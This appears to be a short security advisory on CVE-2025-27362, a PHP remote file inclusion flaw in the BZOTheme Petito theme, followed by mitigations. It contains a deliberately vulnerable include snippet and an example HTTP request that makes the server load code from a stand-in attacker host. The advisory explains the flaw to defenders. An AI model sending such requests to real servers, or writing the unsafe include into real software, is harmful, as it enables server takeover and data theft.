Overview
The CVE-2025-27362 vulnerability is a significant security flaw affecting the BZOTheme Petito, predominantly used in various web-based applications. This vulnerability arises due to the improper control of filename for Include/Require Statement in the PHP Program, a condition also known as ‘PHP Remote File Inclusion.’ If exploited, this vulnerability could lead to potential system compromise or data leakage, posing a severe risk to users’ data and privacy. It is of crucial importance for developers and system administrators to understand this vulnerability, its implications, and the steps needed to mitigate it.

How the Exploit Works
The CVE-2025-27362 vulnerability arises when an attacker manipulates the filename in the Include/Require statement in the PHP program. This manipulation can allow an attacker to load a remote file in place of the intended local file. As a result, the attacker’s remote file is executed on the server, potentially leading to unauthorized access, system compromise, or data leakage.
Conceptual Example Code
Below is a
conceptual
example of how this vulnerability might be exploited:
<?php
// The following include statement is vulnerable
include($_GET['filename'] . '.php');
?>In this conceptual example, an attacker could manipulate the ‘filename’ GET parameter to point to a remote file. The attacker could craft a URL like:
GET /vulnerable_page.php?filename=http://malicious.example.com/malicious_file HTTP/1.1
Host: target.example.comThis request would cause the server to include and execute the malicious file hosted on `http://malicious.example.com/malicious_file.php`, leading to potential system compromise or data leakage.
Recommended Mitigations
The best course of action to mitigate the risk posed by the CVE-2025-27362 vulnerability is to apply the patch provided by the vendor. In cases where immediate patching is not possible, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as temporary mitigation. These tools can help block or alert administrators about potentially malicious activity. However, these are not long-term solutions and should be used in conjunction with other security measures.
